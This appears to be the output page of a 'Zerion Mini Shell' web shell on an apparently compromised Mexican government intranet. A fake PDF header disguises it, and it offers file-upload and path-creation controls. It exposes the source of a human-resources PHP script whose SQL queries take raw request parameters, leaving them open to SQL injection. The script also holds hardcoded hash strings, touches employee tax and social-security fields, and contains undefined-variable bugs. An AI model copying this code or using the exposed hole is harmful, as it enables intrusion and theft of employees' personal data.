%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/procesar_solicitud.php

<?php

session_start();
include "../../config/config.php";

$fechahoy  = date("Y-m-d");
$fechahoyhash = date("Y-m-d h:i:sa");

$_SESSION['expire'] = time() + (120 * 60);
$id_usuario = $_SESSION['id_usuario'];


$opcion             =   isset($_REQUEST['opcion']) ? $_REQUEST['opcion'] : 0;

$id_empleado             =   isset($_REQUEST['id_empleado']) ? $_REQUEST['id_empleado'] : 0;
$tipo_solicitud             =   isset($_REQUEST['tipo_solicitud']) ? $_REQUEST['tipo_solicitud'] : 0;
$id_solicitud             =   isset($_REQUEST['id_solicitud']) ? $_REQUEST['id_solicitud'] : 0;
$id_bitacora             =   isset($_REQUEST['id_bitacora']) ? $_REQUEST['id_bitacora'] : 0;
$estatus             =   isset($_REQUEST['estatus']) ? $_REQUEST['estatus'] : 0;
$observaciones             =   isset($_REQUEST['observaciones']) ? $_REQUEST['observaciones'] : 0;

$id_estatus             =   isset($_REQUEST['id_estatus']) ? $_REQUEST['id_estatus'] : 0;


$conf = new Configuracion();
$conf->conectarBD();


// BUSCAR DATOS DE EMPLEADO
$consulta = "SELECT tp.*, a.area, p.puesto_abrev
                FROM tjam_empleados tp
                LEFT JOIN tjam_areas a ON (tp.id_area = a.id_area)
                LEFT JOIN tjam_puestos p ON (tp.id_puesto = p.id_puesto)
                WHERE tp.id = $id_empleado";
$rst1 = $conf->consulta($consulta);

$nombre_empleado = $rst1[0]['nombre'].' '.$rst1[0]['apellido1'].' '.$rst1[0]['apellido2'].'';
$rfc = $rst1[0]['rfc'];
$nss = $rst1[0]['nss'];
$area = $rst1[0]['area'];
$puesto = $rst1[0]['puesto_abrev'];

// ENCRIPTAR HASH
$cadena0a = $nombre_empleado;
$cadena0b = $fechahoyhash;
$hash0a = md5($cadena0b.''.$label1.''.$cadena0c.'');

switch ($tipo_solicitud) {
    case '1':
        $pos1 = '7';
		$pos2 = '13';
		$label1 = 'VaHHwVWR+/HDJqto';
		$label2 = 'LV214Hpl+/FatQV';
        break;
    case '2':
        $pos1 = '9';
		$pos2 = '17';
		$label1 = 'LJEANshOAKA+/Miz';
		$label2 = 'z9Yyv3bPuqCTSbY7';
        break;
    case '3':
        $pos1 = '11';
		$pos2 = '7';
		$label1 = 'gofwMizt+/dlCTS';
		$label2 = 'VaHHwVWR+/HDJqto';
        break;
    case '4':
        $pos1 = '13';
		$pos2 = '9';
		$label1 = 'sbY7dlC4H+/HD7A';
		$label2 = 'LJEANshOAKA+/Miz';
        break;
    case '5':
        $pos1 = '17';
		$pos2 = '11';
		$label1 = 'OMAawTy/1+1aOSc';
		$label2 = 'gofwMizt+/dlCTS';
        break;
    case '6':
        $pos1 = '7';
		$pos2 = '13';
		$label1 = 'LV214Hpl+/FatQV';
		$label2 = 'sbY7dlC4H+/HD7A';
        break;
    case '7':
        $pos1 = '9';
		$pos2 = '17';
		$label1 = 'z9Yyv3bPuqCTSbY7';
		$label2 = 'OMAawTy/1+1aOSc';
        break;
    default:
        # code...
        break;
}

$hash0a = substr_replace($hash0a, $label1, $pos1, 0);
$hash = substr_replace($hash0a, $label2, $pos2, 0);

if ($opcion == 1) {	
	// UPDATE
	$sql5 = "UPDATE `tjam_areas_solicitudes` SET id_estatus = '$id_estatus' WHERE id_solicitud = '$id_solicitud';";
	$rsut = $conf->actualizacion($sql5);

	// ACTUALIZAR PROCESOS
	$sql5 = "UPDATE `tjam_areas_solicitudes_bitacora` SET id_usuario_solicitante = '$id_usuario', hash = '$hash', completado = '1' WHERE id_solicitud = '$id_solicitud' AND estatus <= $id_estatus;";
	$rsut = $conf->actualizacion($sql5);

	$sql5 = "UPDATE `tjam_areas_solicitudes_bitacora` SET observaciones = '$observaciones' WHERE id_solicitud = '$id_solicitud' AND estatus = $id_estatus;";
	$rsut = $conf->actualizacion($sql5);
} elseif ($opcion == 2)  {
	// UPDATE
	$sql5 = "UPDATE `tjam_areas_solicitudes` SET id_estatus = '6' WHERE id_solicitud = '$id_solicitud';";
	$rsut = $conf->actualizacion($sql5);
	
	// ACTUALIZAR PROCESOS
	$sql5 = "UPDATE `tjam_areas_solicitudes_bitacora` SET id_usuario_solicitante = '$id_usuario', hash = '$hash', completado = '1', observaciones = 'SOLICITUD CANCELADA' WHERE id_solicitud = '$id_solicitud' AND estatus = '6';";
	$rsut = $conf->actualizacion($sql5);
}


$conf->desconectarDB();

if ($opcion == 1) {
	header("Location: page_seguimiento_rh.php?id_solicitud=$id_solicitud");
} elseif ($opcion == 2)  {
	header("Location: page_find_solicitudes_area.php?app=2");
}


function mysql_aes_key($key)
{
    $new_key = str_repeat(chr(0), 16);
    for($i=0,$len=strlen($key);$i<$len;$i++)
    {
        $new_key[$i%16] = $new_key[$i%16] ^ $key[$i];
    }
    return $new_key;
}

function aes_decrypt($encrypted,$key)
{
    // if $encrypted is HEXed, then return it to binary
    $encrypted = pack('H*',$encrypted);

    $key = mysql_aes_key($key);
    return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$key,$encrypted,MCRYPT_MODE_ECB,''),"\x00..\x1F");
}

?>

Zerion Mini Shell 1.0